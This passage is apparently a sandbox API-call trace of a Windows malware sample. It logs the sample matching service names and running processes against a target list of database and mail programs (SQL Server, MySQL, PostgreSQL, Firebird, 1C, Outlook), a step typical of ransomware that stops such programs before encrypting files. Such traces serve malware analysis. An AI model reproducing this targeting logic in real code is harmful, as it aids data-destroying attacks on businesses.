lpString2="gpsvc") returned 1 [0092.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0092.952] lstrlenW (lpString="iphlpsvc") returned 8 [0092.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0092.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0092.953] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0092.953] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0092.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0092.953] lstrlenW (lpString="LanmanServer") returned 12 [0092.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0092.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0092.953] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0092.953] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0092.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0092.953] lstrlenW (lpString="LanmanWorkstation") returned 17 [0092.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0092.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0092.953] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0092.953] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0092.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0092.953] lstrlenW (lpString="lmhosts") returned 7 [0092.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0092.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0092.953] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0092.953] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0092.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0092.953] lstrlenW (lpString="MMCSS") returned 5 [0092.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0092.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0092.954] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0092.954] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0092.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0092.954] lstrlenW (lpString="MpsSvc") returned 6 [0092.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0092.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0092.954] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0092.954] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0092.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0092.954] lstrlenW (lpString="Netman") returned 6 [0092.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0092.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0092.954] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0092.954] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0092.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0092.954] lstrlenW (lpString="netprofm") returned 8 [0092.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0092.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0092.954] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0092.954] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0092.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0092.954] lstrlenW (lpString="NlaSvc") returned 6 [0092.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0092.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0092.954] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0092.955] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0092.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0092.955] lstrlenW (lpString="nsi") returned 3 [0092.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0092.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0092.955] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0092.955] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0092.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0092.955] lstrlenW (lpString="PcaSvc") returned 6 [0092.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0092.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0092.955] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0092.955] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0092.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0092.955] lstrlenW (lpString="PlugPlay") returned 8 [0092.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0092.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0092.955] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0092.955] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0092.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0092.955] lstrlenW (lpString="Power") returned 5 [0092.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0092.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0092.955] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0092.955] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0092.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0092.956] lstrlenW (lpString="ProfSvc") returned 7 [0092.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0092.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0092.956] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0092.956] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0092.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0092.956] lstrlenW (lpString="RpcEptMapper") returned 12 [0092.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0092.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0092.956] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0092.956] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0092.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0092.956] lstrlenW (lpString="RpcSs") returned 5 [0092.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0092.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0092.956] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0092.956] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0092.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0092.956] lstrlenW (lpString="SamSs") returned 5 [0092.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0092.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0092.956] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0092.956] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0092.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0092.956] lstrlenW (lpString="Schedule") returned 8 [0092.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0092.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0092.957] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0092.957] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0092.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0092.957] lstrlenW (lpString="SENS") returned 4 [0092.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0092.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0092.957] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0092.957] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0092.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0092.957] lstrlenW (lpString="ShellHWDetection") returned 16 [0092.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0092.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0092.957] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0092.957] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0092.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0092.957] lstrlenW (lpString="Spooler") returned 7 [0092.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0092.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0092.957] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0092.957] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0092.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0092.957] lstrlenW (lpString="swprv") returned 5 [0092.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0092.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0092.957] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0092.957] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0092.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0092.958] lstrlenW (lpString="SysMain") returned 7 [0092.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0092.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0092.958] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0092.958] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0092.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0092.958] lstrlenW (lpString="Themes") returned 6 [0092.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0092.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0092.958] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0092.958] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0092.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0092.958] lstrlenW (lpString="TrkWks") returned 6 [0092.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0092.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0092.958] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0092.958] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0092.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0092.958] lstrlenW (lpString="UxSms") returned 5 [0092.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0092.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0092.958] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0092.958] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0092.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0092.958] lstrlenW (lpString="VSS") returned 3 [0092.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0092.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0092.959] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0092.959] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0092.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0092.959] lstrlenW (lpString="WdiServiceHost") returned 14 [0092.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0092.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0092.959] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0092.959] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0092.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0092.959] lstrlenW (lpString="WdiSystemHost") returned 13 [0092.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0092.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0092.959] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0092.959] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0092.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0092.959] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0092.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0092.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0092.959] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0092.959] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0092.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0092.959] lstrlenW (lpString="Winmgmt") returned 7 [0092.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0092.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0092.959] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0092.959] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0092.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0092.960] lstrlenW (lpString="WPDBusEnum") returned 10 [0092.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0092.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0092.960] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0092.960] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0092.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0092.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39777a0 | out: hHeap=0x5b0000) returned 1 [0092.960] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0092.966] Process32FirstW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0092.967] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0092.968] lstrlenW (lpString="System") returned 6 [0092.968] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0092.968] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0092.968] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0092.968] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0092.968] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0092.968] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0092.968] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0092.968] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0092.969] lstrlenW (lpString="smss.exe") returned 8 [0092.969] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0092.969] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0092.969] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0092.969] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0092.969] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0092.969] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0092.969] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0092.969] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0092.970] lstrlenW (lpString="csrss.exe") returned 9 [0092.970] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0092.970] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0092.970] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0092.970] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0092.970] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0092.970] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0092.970] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0092.970] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0092.971] lstrlenW (lpString="wininit.exe") returned 11 [0092.971] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0092.971] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0092.971] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0092.971] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0092.972] lstrlenW (lpString="csrss.exe") returned 9 [0092.972] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0092.973] lstrlenW (lpString="winlogon.exe") returned 12 [0092.973] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0092.973] lstrlenW (lpString="services.exe") returned 12 [0092.973] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0092.974] lstrlenW (lpString="lsass.exe") returned 9 [0092.974] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0092.975] lstrlenW (lpString="lsm.exe") returned 7 [0092.975] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.975] lstrlenW (lpString="svchost.exe") returned 11 [0092.975] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.976] lstrlenW (lpString="svchost.exe") returned 11 [0092.976] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.977] lstrlenW (lpString="svchost.exe") returned 11 [0092.977] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.978] lstrlenW (lpString="svchost.exe") returned 11 [0092.978] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.978] lstrlenW (lpString="svchost.exe") returned 11 [0092.978] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0092.979] lstrlenW (lpString="audiodg.exe") returned 11 [0092.979] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.980] lstrlenW (lpString="svchost.exe") returned 11 [0092.980] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.980] lstrlenW (lpString="svchost.exe") returned 11 [0092.980] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0092.981] lstrlenW (lpString="dwm.exe") returned 7 [0092.981] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0092.982] lstrlenW (lpString="explorer.exe") returned 12 [0092.982] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0092.982] lstrlenW (lpString="spoolsv.exe") returned 11 [0092.983] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.160] lstrlenW (lpString="svchost.exe") returned 11 [0093.160] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0093.161] lstrlenW (lpString="taskhost.exe") returned 12 [0093.161] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0093.161] lstrlenW (lpString="taskeng.exe") returned 11 [0093.161] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0093.162] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0093.162] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, 